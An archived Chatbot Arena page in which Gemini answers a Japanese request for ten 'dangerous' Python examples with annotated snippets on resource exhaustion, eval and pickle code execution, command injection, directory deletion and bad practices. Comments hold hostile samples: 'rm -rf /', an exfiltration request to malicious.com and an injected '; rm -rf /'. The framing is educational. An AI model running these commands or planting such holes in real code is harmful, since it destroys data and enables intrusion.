Skip to content
TheChatArchiveThe Chat Archive
Geminigemini-2.5-flash· GoogleHugging Face LMArena Human Preference 140K

Pythonのやばいコードを10個書いて

From a Chatbot Arena battleThe same person sent this prompt to two anonymous models at once. Compare it with Qwenqwen3-235b-a22b-no-thinking’s answer.
  1. User

    Pythonのやばいコードを10個書いて

  2. Gemini Assistant

    Pythonの「やばいコード」についてですね。ここで言う「やばい」とは、

    • システムに害を及ぼす可能性がある(破壊的)
    • セキュリティ上の脆弱性を生む
    • リソースを大量に消費し、システムを不安定にする
    • 可読性やメンテナンス性を極端に損なう

    といった意味合いを含みます。

    警告:以下のコードは、システムに深刻な問題を引き起こす可能性があります。絶対に安易に実行しないでください。特に、本番環境や重要なデータがある環境での実行は厳禁です。試す場合は、仮想環境や使い捨てのサンドボックス環境で、自己責任において細心の注意を払って行ってください。


    Pythonのやばいコード 10選

    1. メモリを食い尽くすコード(無限リストアペンド)

    無限にリストに要素を追加し続け、利用可能なメモリを枯渇させます。最終的にMemoryErrorを発生させるか、システム全体の動作を遅くします。

    # やばいコード1: メモリを食い尽くす
    import sys
    
    def eat_memory():
        data = []
        i = 0
        while True:
            data.append('A' * 1024 * 1024) # 1MBの文字列を無限に追加
            i += 1
            # このprint文がボトルネックになり、実際にはもっと早くメモリを消費します
            # print(f"Added {i}MB. Current list size: {sys.getsizeof(data) / (1024*1024):.2f} MB")
    
    # eat_memory()
    

    2. CPUを食い尽くすコード(無限ループ)

    CPUのコア一つを100%使い続ける無限ループです。他のプロセスに影響を与え、システムの応答性を著しく低下させます。

    # やばいコード2: CPUを食い尽くす
    def infinite_cpu_loop():
        print("CPUを食い尽くします...")
        while True:
            pass # 何もせず無限にループ
    
    # infinite_cpu_loop()
    

    3. 危険なeval()の使用(任意コード実行の脆弱性)

    ユーザーからの入力をeval()で直接実行することは、任意コード実行の脆弱性につながります。攻撃者が任意のPythonコードをサーバー上で実行できるようになるため、非常に危険です。

    # やばいコード3: 危険なeval()の使用
    def dangerous_eval():
        user_input = input("実行したいコードを入力してください: ")
        # 例: __import__('os').system('rm -rf /')
        # 例: import requests; requests.get('http://malicious.com/?data=' + str(secret_data))
        
        print("入力されたコードを実行します...")
        result = eval(user_input) # ここが危険!
        print("実行結果:", result)
    
    # dangerous_eval()
    

    4. 危険なpickle.loads()の使用(任意コード実行の脆弱性)

    pickleモジュールはPythonオブジェクトをシリアライズ・デシリアライズするのに便利ですが、信頼できないソースからのpickleデータをデシリアライズすることは、eval()と同様に任意コード実行の脆弱性につながります。

    # やばいコード4: 危険なpickle.loads()の使用
    import pickle
    import base64
    
    # 攻撃者が作成した悪意のあるpickleデータ(例: os.system('ls -la')を実行するペイロード)
    # 実際には、より複雑な手法で任意のコードを実行します。
    malicious_payload = b'cos\nsystem\n(S\'ls -la\'\ntR.' # 例としてls -la
    malicious_data = base64.b64encode(malicious_payload).decode('utf-8')
    
    def dangerous_pickle_loads(encoded_data):
        print("信頼できないデータからのpickleデシリアライズを試みます...")
        decoded_data = base64.b64decode(encoded_data)
        # ここが危険!
        obj = pickle.loads(decoded_data) 
        print("デシリアライズされたオブジェクト:", obj)
    
    # print(f"悪意のあるデータ: {malicious_data}")
    # dangerous_pickle_loads(malicious_data)
    

    5. ファイルシステムを破壊するコード(カレントディレクトリ削除)

    現在のディレクトリ内のすべてのファイルとサブディレクトリを削除します。重要なデータが失われる可能性が非常に高いです。

    # やばいコード5: ファイルシステムを破壊する (カレントディレクトリ削除)
    import shutil
    import os
    
    def delete_current_directory():
        print("WARNING: 現在のディレクトリを削除します。データが失われます。")
        confirm = input("本当に実行しますか? 'yes'と入力してください: ")
        if confirm == 'yes':
            # os.getcwd() で現在の作業ディレクトリを取得し、その内容を削除
            # ただし、実行中のプロセスが削除されるとエラーになる可能性があるため、
            # より堅牢な削除方法として、内容を一つずつ削除する方法や、親ディレクトリから削除する方法があります。
            # 最も単純で危険な例:
            # shutil.rmtree('.') # これは実行中のディレクトリを削除しようとするので失敗しやすい
            
            # より確実に現在のディレクトリの中身を削除する(それでも危険!)
            for item in os.listdir('.'):
                item_path = os.path.join('.', item)
                if os.path.isfile(item_path) or os.path.islink(item_path):
                    os.remove(item_path)
                elif os.path.isdir(item_path):
                    shutil.rmtree(item_path)
            print("現在のディレクトリの中身を削除しました。")
        else:
            print("キャンセルしました。")
    
    # delete_current_directory()
    

    注: shutil.rmtree('/')はシステム全体を破壊する可能性があり、非常に危険です。上記の例はカレントディレクトリに留めています。

    6. OSコマンドインジェクションの脆弱性

    os.system()やsubprocess.run()などでユーザー入力を直接コマンドとして実行すると、攻撃者が任意のOSコマンドを挿入して実行できる脆弱性(OSコマンドインジェクション)が生じます。

    # やばいコード6: OSコマンドインジェクションの脆弱性
    import os
    
    def vulnerable_command_execution():
        filename = input("表示したいファイル名を入力してください: ")
        # 攻撃者はここで `; rm -rf /` などを入力するかもしれない
        
        # 危険な実行方法
        print(f"Executing: cat {filename}")
        os.system(f"cat {filename}") # ここが危険!
        
        # より安全な方法の例:
        # import subprocess
        # try:
        #     subprocess.run(["cat", filename], check=True)
        # except FileNotFoundError:
        #     print(f"Error: File '{filename}' not found.")
        # except subprocess.CalledProcessError as e:
        #     print(f"Error executing command: {e}")
    
    # vulnerable_command_execution()
    

    7. ディスク容量を食い尽くすコード(無限ファイル作成)

    ディスクスペースが許す限り、無限に小さなファイルを作成し続けます。最終的にディスクフルを引き起こし、システム全体の動作に支障をきたします。

    # やばいコード7: ディスク容量を食い尽くす
    import os
    
    def fill_disk_space():
        print("WARNING: ディスク容量を食い尽くします。")
        confirm = input("本当に実行しますか? 'yes'と入力してください: ")
        if confirm == 'yes':
            i = 0
            while True:
                filename = f"temp_file_{i}.txt"
                try:
                    with open(filename, 'w') as f:
                        f.write('A' * 1024 * 1024) # 1MBのファイルを生成
                    print(f"Created {filename}")
                    i += 1
                except OSError as e:
                    print(f"Error creating file {filename}: {e}")
                    print("ディスク容量が満杯になったか、他の問題が発生しました。")
                    break
        else:
            print("キャンセルしました。")
    
    # fill_disk_space()
    

    8. 深すぎる再帰呼び出し(RecursionError)

    Pythonのデフォルトの再帰深度制限(通常1000回)を超えて関数を再帰的に呼び出すと、RecursionErrorが発生し、プログラムがクラッシュします。無限再帰は意図しないスタックオーバーフローを引き起こします。

    # やばいコード8: 深すぎる再帰呼び出し
    import sys
    
    # デフォルトの再帰深度制限を確認(通常1000)
    # print(sys.getrecursionlimit()) 
    
    def infinite_recursion(depth=0):
        print(f"Current depth: {depth}")
        infinite_recursion(depth + 1) # 無限に自分自身を呼び出す
    
    # try:
    #     infinite_recursion()
    # except RecursionError:
    #     print("RecursionErrorが発生しました。再帰深度制限を超えました。")
    
    # 制限を増やすことも可能だが、メモリを消費し、本質的な解決策ではない
    # sys.setrecursionlimit(20000) 
    # infinite_recursion()
    

    9. 例外を無視するアンチパターン

    エラーを捕捉しても何も処理しない(pass)ことは、プログラムのデバッグを極めて困難にし、予期せぬ動作を隠蔽する原因となります。

    # やばいコード9: 例外を無視するアンチパターン
    def ignore_exceptions():
        try:
            result = 10 / 0 # ZeroDivisionErrorが発生
        except: # 何らかの例外が発生しても、ここで握りつぶされる
            pass # 何も処理しない!
        print("プログラムは続行されますが、何が起きたか不明です。")
    
    # ignore_exceptions()
    
    def another_bad_exception_handling():
        try:
            f = open("non_existent_file.txt", "r")
        except Exception as e: # Exceptionを捕捉するが、何もしない
            # print(f"エラーが発生しました: {e}") # 本来はログ出力などするべき
            pass
        print("ファイル操作は失敗しましたが、何も通知されません。")
    
    # another_bad_exception_handling()
    

    10. 読みにくい難読化コード(メンテナンス性破壊)

    極端に短い変数名、意味不明な関数名、複雑なワンライナー、マジックナンバーの乱用、過剰なネストなど、意図的に可読性を損ねるコードは、メンテナンス性を破壊し、バグの温床となります。

    # やばいコード10: 読みにくい難読化コード
    # (例: フィボナッチ数列を計算するが、極端に読みにくい)
    
    def f(n):
        return (lambda a, b, c: (b, a + b) if a else (c, 1) if n == 1 else f(n - 1)[0] + f(n - 2)[0])(n, 0, 0) if n > 0 else (0, 0) # ほぼ意味不明
    
    # 実際のフィボナッチを計算
    def fib(n):
        if n <= 0:
            return 0
        elif n == 1:
            return 1
        else:
            return fib(n-1) + fib(n-2)
    
    # print(f(5)[0]) # 実際に動作させるには修正が必要な場合がある
    # print(fib(5)) # 通常の可読性の高いコード
    
    # 他の例: マジックナンバーとシングルレター変数名
    def calculate_something_terrible(d, s, r): # d:データ, s:状態, r:結果?
        if s == 1:
            if d % 7 == 0: # 7って何?
                r = d * 1.05 # 1.05って何?
            else:
                r = d / 0.98 # 0.98って何?
        elif s == 2:
            r = d + 12345 # 12345って何?
        else:
            r = 0
        return r
    
    # calculate_something_terrible(100, 1, 0)
    

    まとめ

    これらの「やばいコード」は、単なる好奇心で実行すると予期せぬ重大な結果を招く可能性があります。しかし、これらの例を通じて、どのようなコードがなぜ問題なのかを理解することは、堅牢で安全で、かつメンテナンスしやすいPythonコードを書く上で非常に重要な知識となります。

    安全なプログラミングを心がけましょう。

Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.